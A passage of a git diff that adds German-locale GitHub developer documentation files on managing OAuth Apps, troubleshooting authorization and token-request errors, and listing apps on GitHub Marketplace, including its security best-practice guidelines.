+{% data reusables.user-settings.github_apps_advanced %}
+6. Click **Transfer ownership**.
+![Button to transfer ownership](/assets/images/github-apps/github_apps_transfer_ownership.png)
+7. Type the name of the GitHub App you want to transfer.
+![Field to enter the name of the app to transfer](/assets/images/github-apps/github_apps_transfer_app_name.png)
+8. Type the name of the user or organization you want to transfer the GitHub App to.
+![Field to enter the user or org to transfer to](/assets/images/github-apps/github_apps_transfer_new_owner.png)
+9. Click **Transfer this GitHub App**.
+![Button to confirm the transfer of a GitHub App](/assets/images/github-apps/github_apps_transfer_integration.png)
diff --git a/translations/de-DE/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md b/translations/de-DE/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md
new file mode 100644
index 0000000000..21cfeb7169
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md
@@ -0,0 +1,26 @@
+---
+title: Deleting an OAuth App
+intro: '{% data reusables.shortdesc.deleting_oauth_apps %}'
+redirect_from:
+  - /apps/building-integrations/managing-oauth-apps/deleting-an-oauth-app
+  - /apps/managing-oauth-apps/deleting-an-oauth-app
+  - /developers/apps/deleting-an-oauth-app
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - OAuth Apps
+---
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.oauth_apps %}
+4. Select the {% data variables.product.prodname_oauth_app %} you want to modify.
+![App selection](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png)
+5. In the left sidebar, click **Advanced**.
+![App selection](/assets/images/oauth-apps/oauth_apps_sidebar_advanced.png)
+6. Click **Delete application**.
+![Button to delete the application](/assets/images/oauth-apps/oauth_apps_delete_application.png)
+7. Click **Delete this OAuth Application**.
+![Button to confirm the deletion](/assets/images/oauth-apps/oauth_apps_delete_confirm.png)
diff --git a/translations/de-DE/content/developers/apps/managing-oauth-apps/index.md b/translations/de-DE/content/developers/apps/managing-oauth-apps/index.md
new file mode 100644
index 0000000000..1bfe01ebf9
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/managing-oauth-apps/index.md
@@ -0,0 +1,27 @@
+---
+title: Verwalten von OAuth-Apps
+intro: 'Nachdem du eine OAuth-App erstellt und registriert hast, kannst du Änderungen an der App vornehmen, Berechtigungen ändern, den Besitz übertragen und die App löschen.'
+redirect_from:
+  - /apps/building-integrations/managing-oauth-apps
+  - /apps/managing-oauth-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - OAuth Apps
+children:
+  - /modifying-an-oauth-app
+  - /transferring-ownership-of-an-oauth-app
+  - /troubleshooting-authorization-request-errors
+  - /troubleshooting-oauth-app-access-token-request-errors
+  - /deleting-an-oauth-app
+ms.openlocfilehash: d88b40b663b70b8a09bc877e36b3631b3b2cc648
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145089827'
+---
+
diff --git a/translations/de-DE/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md b/translations/de-DE/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md
new file mode 100644
index 0000000000..c6196ae921
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md
@@ -0,0 +1,21 @@
+---
+title: Modifying an OAuth App
+intro: '{% data reusables.shortdesc.modifying_oauth_apps %}'
+redirect_from:
+  - /apps/building-integrations/managing-oauth-apps/modifying-an-oauth-app
+  - /apps/managing-oauth-apps/modifying-an-oauth-app
+  - /developers/apps/modifying-an-oauth-app
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - OAuth Apps
+---
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.oauth_apps %}
+{% data reusables.user-settings.modify_oauth_app %}
+1. Modify the {% data variables.product.prodname_oauth_app %} information that you'd like to change.
+{% data reusables.user-settings.update_oauth_app %}
diff --git a/translations/de-DE/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md b/translations/de-DE/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md
new file mode 100644
index 0000000000..975ec5bafb
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md
@@ -0,0 +1,29 @@
+---
+title: Transferring ownership of an OAuth App
+intro: '{% data reusables.shortdesc.transferring_ownership_of_oauth_apps %}'
+redirect_from:
+  - /apps/building-integrations/managing-oauth-apps/transferring-ownership-of-an-oauth-app
+  - /apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app
+  - /developers/apps/transferring-ownership-of-an-oauth-app
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - OAuth Apps
+shortTitle: Transfer ownership
+---
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.oauth_apps %}
+4. Select the {% data variables.product.prodname_oauth_app %} you want to modify.
+![App selection](/assets/images/oauth-apps/oauth_apps_choose_app_post2dot12.png)
+5. Click **Transfer ownership**.
+![Button to transfer ownership](/assets/images/oauth-apps/oauth_apps_transfer_ownership.png)
+6. Type the name of the {% data variables.product.prodname_oauth_app %} you want to transfer.
+![Field to enter the name of the app to transfer](/assets/images/oauth-apps/oauth_apps_transfer_oauth_name.png)
+7. Type the name of the user or organization you want to transfer the {% data variables.product.prodname_oauth_app %} to.
+![Field to enter the user or org to transfer to](/assets/images/oauth-apps/oauth_apps_transfer_new_owner.png)
+8. Click **Transfer this application**.
+![Button to transfer the application](/assets/images/oauth-apps/oauth_apps_transfer_application.png)
diff --git a/translations/de-DE/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md b/translations/de-DE/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md
new file mode 100644
index 0000000000..a26de469e6
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md
@@ -0,0 +1,54 @@
+---
+title: Problembehandlung bei Autorisierungsanforderungsfehlern
+intro: '{% data reusables.shortdesc.troubleshooting_authorization_request_errors_oauth_apps %}'
+redirect_from:
+  - /apps/building-integrations/managing-oauth-apps/troubleshooting-authorization-request-errors
+  - /apps/managing-oauth-apps/troubleshooting-authorization-request-errors
+  - /developers/apps/troubleshooting-authorization-request-errors
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Troubleshoot authorization
+ms.openlocfilehash: 8706453423298277ed27ac5f950c562db8a42a09
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147885324'
+---
+## Anwendung angehalten
+
+Wenn die OAuth-App, die du eingerichtet hast, angehalten wurde (wegen gemeldetem Missbrauch, Spam oder einer Fehlverwendung der API), führt GitHub mit den folgenden Parametern zur Zusammenfassung des Fehlers eine Umleitung an die registrierte Rückruf-URL durch:
+
+    http://your-application.com/callback?error=application_suspended
+      &error_description=Your+application+has+been+suspended.+Contact+support@github.com.
+      &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23application-suspended
+      &state=xyz
+
+Um Probleme mit angehaltenen Anwendungen zu beheben, wende dich an {% data variables.contact.contact_support %}.
+
+## Konflikt des Umleitungs-URIs
+
+Wenn du einen `redirect_uri` angibst, der nicht mit dem mit deiner Anwendung registrierten übereinstimmt, führt GitHub mit den folgenden Parametern zur Zusammenfassung des Fehlers eine Umleitung an die registrierte Rückruf-URL durch:
+
+    http://your-application.com/callback?error=redirect_uri_mismatch
+      &error_description=The+redirect_uri+MUST+match+the+registered+callback+URL+for+this+application.
+      &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23redirect-uri-mismatch
+      &state=xyz
+
+Um diesen Fehler zu beheben, gib entweder einen `redirect_uri` an, der mit dem URI übereinstimmt, den du registriert hast, oder lass diesen Parameter aus, um die Standardangabe zu verwenden, die mit deiner Anwendung registriert wurde.
+
+### Zugriff verweigert.
+
+Wenn der Benutzer den Zugriff auf deine Anwendung abgelehnt hat, führt GitHub mit den folgenden Parametern zur Zusammenfassung des Fehlers eine Umleitung an die registrierte Rückruf-URL durch:
+
+    http://your-application.com/callback?error=access_denied
+      &error_description=The+user+has+denied+your+application+access.
+      &error_uri=/apps/building-integrations/setting-up-and-registering-oauth-apps/troubleshooting-authorization-request-errors/%23access-denied
+      &state=xyz
+
+Hier kannst du nichts tun, da es den Nutzern freisteht, deine Anwendung nicht zu verwenden. In den meisten Fällen schließen die Benutzer das Fenster einfach oder wählen im Browser „Zurück“ aus, sodass du diesen Fehler wahrscheinlich nie sehen wirst.
diff --git a/translations/de-DE/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md b/translations/de-DE/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md
new file mode 100644
index 0000000000..69eb01a2fa
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md
@@ -0,0 +1,78 @@
+---
+title: Problembehandlung bei OAuth App-Zugriffstoken-Anforderungsfehlern
+intro: '{% data reusables.shortdesc.troubleshooting_access_token_reques_errors_oauth_apps %}'
+redirect_from:
+  - /apps/building-integrations/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors
+  - /apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors
+  - /developers/apps/troubleshooting-oauth-app-access-token-request-errors
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - OAuth Apps
+shortTitle: Troubleshoot token request
+ms.openlocfilehash: 7764d0e1f23a3d2dac841412ea0120487c8f6560
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145089796'
+---
+{% note %}
+
+**Hinweis**: Diese Beispiele zeigen nur JSON-Antworten.
+
+{% endnote %}
+
+## Falsche Clientanmeldeinformationen
+
+Wenn die client\_id und/oder das client\_secret, falsch sind, die du übergibst, erhältst du diese Fehlermeldung.
+
+```json
+{
+  "error": "incorrect_client_credentials",
+  "error_description": "The client_id and/or client_secret passed are incorrect.",
+  "error_uri": "/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors/#incorrect-client-credentials"
+}
+```
+
+Um diesen Fehler zu beheben, stelle sicher, dass du über die richtigen Anmeldeinformationen für deine {% data variables.product.prodname_oauth_app %} verfügst. Überprüfe `client_id` und `client_secret` genau, um sicherzustellen, dass sie richtig sind und ordnungsgemäß an {% data variables.product.product_name %} übergeben werden.
+
+## Konflikt des Umleitungs-URIs
+
+Wenn du einen `redirect_uri` angibst, der nicht der Angabe übereinstimmt, die du bei der {% data variables.product.prodname_oauth_app %} registriert hast, erhältst du diese Fehlermeldung:
+
+```json
+{
+  "error": "redirect_uri_mismatch",
+  "error_description": "The redirect_uri MUST match the registered callback URL for this application.",
+  "error_uri": "/apps/managing-oauth-apps/troubleshooting-authorization-request-errors/#redirect-uri-mismatch2"
+}
+```
+
+Um diesen Fehler zu beheben, gib entweder einen `redirect_uri` an, der mit dem URI übereinstimmt, den du registriert hast, oder lasse diesen Parameter aus, um die Standardangabe zu verwenden, die mit deiner Anwendung registriert wurde.
+
+## Fehlerhafter Überprüfungscode
+
+```json
+{
+  "add_scopes": [
+    "repo"
+  ],
+  "note": "admin script"
+}
+```
+
+Wenn der von dir übergebene Überprüfungscode falsch bzw. abgelaufen iat oder nicht mit dem übereinstimmt, was du in der ersten Anforderung zur Autorisierung erhalten hast, erhältst du diesen Fehler.
+
+```json
+{
+  "error": "bad_verification_code",
+  "error_description": "The code passed is incorrect or expired.",
+  "error_uri": "/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors/#bad-verification-code"
+}
+```
+
+Um diesen Fehler zu beheben, starte den [OAuth-Autorisierungsprozess erneut](/apps/building-oauth-apps/authorizing-oauth-apps/), und rufe einen neuen Code ab.
diff --git a/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps.md b/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps.md
new file mode 100644
index 0000000000..cc5b71c1d2
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps.md
@@ -0,0 +1,30 @@
+---
+title: Bewährte Methoden für Kundenfreundlichkeit für Apps
+intro: 'Richtlinien zum Erstellen einer App, die einfach zu verwenden und zu verstehen ist.'
+shortTitle: Customer experience best practice
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+redirect_from:
+  - /developers/github-marketplace/customer-experience-best-practices-for-apps
+ms.openlocfilehash: f45e3f88e7fdeb4c1d82264abb4e59c1057fe711
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145089787'
+---
+Wenn du diese bewährten Verfahren befolgst, trägst du zur Kundenfreundlichkeit bei.
+
+## Kundenkommunikation
+
+- In Marketingmaterialien zur App sollte das Verhalten der App genau dargestellt werden.
+- Apps sollten Links zur Benutzerdokumentation enthalten, die beschreiben, wie die App eingerichtet und verwendet wird.
+- Kunden sollten im Abschnitt zu Abrechnungs-, Profil-oder Kontoeinstellungen der App sehen können, welche Art von Plan sie haben.
+- Kunden sollten deine App sowohl auf einem persönlichen Konto als auch auf einem Organisationskonto installieren und verwenden können. Du solltest die App für diese Konten separat anzeigen und verwalten können.
+
+## Planverwaltung
+
+{% data reusables.marketplace.marketplace-billing-ui-requirements %}
diff --git a/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/index.md b/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/index.md
new file mode 100644
index 0000000000..2206ffed90
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/index.md
@@ -0,0 +1,23 @@
+---
+title: Erstellen von Apps für den GitHub Marketplace
+intro: 'Du kannst kostenlose und kostenpflichtige Tools für Entwickler auflisten, die in {% data variables.product.prodname_marketplace %} verwendet werden sollen.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+children:
+  - /requirements-for-listing-an-app
+  - /security-best-practices-for-apps
+  - /customer-experience-best-practices-for-apps
+  - /viewing-metrics-for-your-listing
+  - /viewing-transactions-for-your-listing
+shortTitle: Create Marketplace apps
+ms.openlocfilehash: 991f21944b6196ab7391b5d8af84abe32768c8d4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145089780'
+---
+
diff --git a/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md b/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md
new file mode 100644
index 0000000000..6653241592
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md
@@ -0,0 +1,80 @@
+---
+title: Requirements for listing an app
+intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.'
+redirect_from:
+  - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace
+  - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace
+  - /apps/marketplace/getting-started-with-github-marketplace-listings/requirements-for-listing-an-app-on-github-marketplace
+  - /apps/marketplace/creating-and-submitting-your-app-for-approval/requirements-for-listing-an-app-on-github-marketplace
+  - /apps/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace
+  - /marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace
+  - /developers/github-marketplace/requirements-for-listing-an-app
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+shortTitle: Listing requirements
+---
+<!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.-->
+
+The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app.
+
+## Requirements for all {% data variables.product.prodname_marketplace %} listings
+
+All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)."
+
+### User experience requirements for all apps
+
+All listings should meet the following requirements, regardless of whether they are for a free or paid app.
+
+- Listings must not actively persuade users away from {% data variables.product.product_name %}.
+- Listings must include valid contact information for the publisher.
+- Listings must have a relevant description of the application.
+- Listings must specify a pricing plan.
+- Apps must provide value to customers and integrate with the platform in some way beyond authentication.
+- Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only.
+- Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+
+For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)."
+
+### Brand and listing requirements for all apps
+
+- Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)."
+- Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)."
+- Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)."
+
+To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)."
+
+## Considerations for free apps
+
+{% data reusables.marketplace.free-apps-encouraged %} 
+
+## Requirements for paid apps
+
+To publish a paid plan for your app on {% data variables.product.prodname_marketplace %}, your app must be owned by an organization that is a verified publisher. For more information about the verification process or transferring ownership of your app, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)."
+
+If your app is already published and you're a verified publisher, then you can publish a new paid plan from the pricing plan editor. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)."
+
+To publish a paid app (or an app that offers a paid plan), you must also meet the following requirements:
+
+- {% data variables.product.prodname_github_apps %} should have a minimum of 100 installations.
+- {% data variables.product.prodname_oauth_apps %} should have a minimum of 200 users.
+- All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below.
+
+When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the app listing.
+
+{% note %}
+
+**Note:** {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to transfer an app to an organization, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)."
+
+{% endnote %}
+
+## Billing requirements for paid apps
+
+Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+
+Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their account on {% data variables.location.product_location %}.
+
+- Apps must support both monthly and annual billing for paid subscriptions purchases.
+- Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)."
diff --git a/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md b/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md
new file mode 100644
index 0000000000..f5da9567b4
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md
@@ -0,0 +1,63 @@
+---
+title: Security best practices for apps
+intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.'
+redirect_from:
+  - /apps/marketplace/getting-started/security-review-process
+  - /marketplace/getting-started/security-review-process
+  - /developers/github-marketplace/security-review-process-for-submitted-apps
+  - /developers/github-marketplace/security-best-practices-for-apps
+shortTitle: Security best practice
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+---
+If you follow these best practices it will help you to provide a secure user experience.
+
+## Authorization, authentication, and access control
+
+We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details.
+- Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia.
+- Apps should provide customers with a way to delete their account, without having to email or call a support person.
+- Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately.
+- Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code.
+- Apps should not share service accounts such as email or database services to manage your SaaS service.
+- All services used in your app should have unique login and password credentials.
+- Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties.
+- Apps should not use {% data variables.product.pat_generic %}s to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps):
+  - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/).
+  - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation).
+
+## Data protection
+
+- Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git.
+- Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables).
+- Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub.
+- Apps should not require the user to provide their GitHub password.
+- Apps should encrypt tokens, client IDs, and client secrets.
+
+## Logging and monitoring
+
+Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year.
+A security log should include:
+
+- Authentication and authorization events
+- Service configuration changes
+- Object reads and writes
+- All user and group permission changes
+- Elevation of role to admin
+- Consistent timestamping for each event
+- Source users, IP addresses, and/or hostnames for all logged actions
+
+## Incident response workflow
+
+To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident.
+
+For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template.
+
+## Vulnerability management and patching workflow
+
+You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability.
+
+If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/article/establish-a-patch-management-policy-87756/)."
diff --git a/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md b/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md
new file mode 100644
index 0000000000..29f38d3580
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md
@@ -0,0 +1,56 @@
+---
+title: Viewing metrics for your listing
+intro: 'The {% data variables.product.prodname_marketplace %} Insights page displays metrics for your {% data variables.product.prodname_github_app %}. You can use the metrics to track your {% data variables.product.prodname_github_app %}''s performance and make more informed decisions about pricing, plans, free trials, and how to visualize the effects of marketing campaigns.'
+redirect_from:
+  - /apps/marketplace/managing-github-marketplace-listings/viewing-performance-metrics-for-a-github-marketplace-listing
+  - /apps/marketplace/viewing-performance-metrics-for-a-github-marketplace-listing
+  - /apps/marketplace/github-marketplace-insights
+  - /marketplace/github-marketplace-insights
+  - /developers/github-marketplace/viewing-metrics-for-your-listing
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+shortTitle: View listing metrics
+---
+You can view metrics for the past day (24 hours), week, month, or for the entire duration of time that your {% data variables.product.prodname_github_app %} has been listed.
+
+{% note %}
+
+**Note:** Because it takes time to aggregate data, you'll notice a slight delay in the dates shown. When you select a time period, you can see exact dates for the metrics at the top of the page.
+
+{% endnote %}
+
+## Performance metrics
+
+The Insights page displays these performance metrics, for the selected time period:
+
+* **Subscription value:** Total possible revenue (in US dollars) for subscriptions. This value represents the possible revenue if no plans or free trials are cancelled and all credit transactions are successful. The subscription value includes the full value for plans that begin with a free trial in the selected time period, even when there are no financial transactions in that time period. The subscription value also includes the full value of upgraded plans in the selected time period but does not include the prorated amount. To see and download individual transactions, see "[GitHub Marketplace transactions](/marketplace/github-marketplace-transactions/)."
+* **Visitors:** Number of people that have viewed a page in your GitHub Apps listing. This number includes both logged in and logged out visitors.
+* **Pageviews:** Number of views the pages in your GitHub App's listing received. A single visitor can generate more than one page view.
+
+{% note %}
+
+**Note:**  Your estimated subscription value could be much higher than the transactions processed for this period. 
+
+{% endnote %}
+
+### Conversion performance
+
+* **Unique visitors to landing page:** Number of people who viewed your GitHub App's landing page.
+* **Unique visitors to checkout page:** Number of people who viewed one of your GitHub App's checkout pages.
+* **Checkout page to new subscriptions:** Total number of paid subscriptions, free trials, and free subscriptions. See the "Breakdown of total subscriptions" for the specific number of each type of subscription.
+
+![Marketplace insights](/assets/images/marketplace/marketplace_insights.png)
+
+To access {% data variables.product.prodname_marketplace %} Insights:
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.marketplace_apps %}
+4. Select the {% data variables.product.prodname_github_app %} that you'd like to view Insights for.
+{% data reusables.user-settings.edit_marketplace_listing %}
+6. Click the **Insights** tab.
+7. Optionally, select a different time period by clicking the Period dropdown in the upper-right corner of the Insights page.
+![Marketplace time period](/assets/images/marketplace/marketplace_insights_time_period.png)
diff --git a/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-transactions-for-your-listing.md b/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-transactions-for-your-listing.md
new file mode 100644
index 0000000000..d44f76c58c
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-transactions-for-your-listing.md
@@ -0,0 +1,50 @@
+---
+title: Viewing transactions for your listing
+intro: 'The {% data variables.product.prodname_marketplace %} transactions page allows you to download and view all transactions for your {% data variables.product.prodname_marketplace %} listing. You can view transactions for the past day (24 hours), week, month, or for the entire duration of time that your {% data variables.product.prodname_github_app %} has been listed.'
+redirect_from:
+  - /marketplace/github-marketplace-transactions
+  - /developers/github-marketplace/viewing-transactions-for-your-listing
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+shortTitle: View listing transactions
+---
+{% note %}
+
+**Note:** Because it takes time to aggregate data, you'll notice a slight delay in the dates shown. When you select a time period, you can see exact dates for the metrics at the top of the page.
+
+{% endnote %}
+
+
+You can view or download the transaction data to keep track of your subscription activity. Click the **Export CSV** button to download a `.csv` file. You can also select a period of time to view and search within the transaction page.
+
+## Transaction data fields
+
+* **date:** The date of the transaction in `yyyy-mm-dd` format.
+* **app_name:** The app name.
+* **user_login:** The login of the user with the subscription.
+* **user_id:** The id of the user with the subscription.
+* **user_type:** The type of GitHub account, either `User` or `Organization`.
+* **country:** The three letter country code.
+* **amount_in_cents:** The amount of the transaction in cents. When a value is less the plan amount, the user upgraded and the new plan is prorated. A value of zero indicates the user cancelled their plan.
+* **renewal_frequency:** The subscription renewal frequency, either `Monthly` or `Yearly`.
+* **marketplace_listing_plan_id:** The `id` of the subscription plan.
+* **region:** The name of the region present in billing address.
+* **postal_code:** The postal code value present in billing address.
+
+![Marketplace insights](/assets/images/marketplace/marketplace_transactions.png)
+
+## Accessing {% data variables.product.prodname_marketplace %} transactions
+
+To access {% data variables.product.prodname_marketplace %} transactions:
+
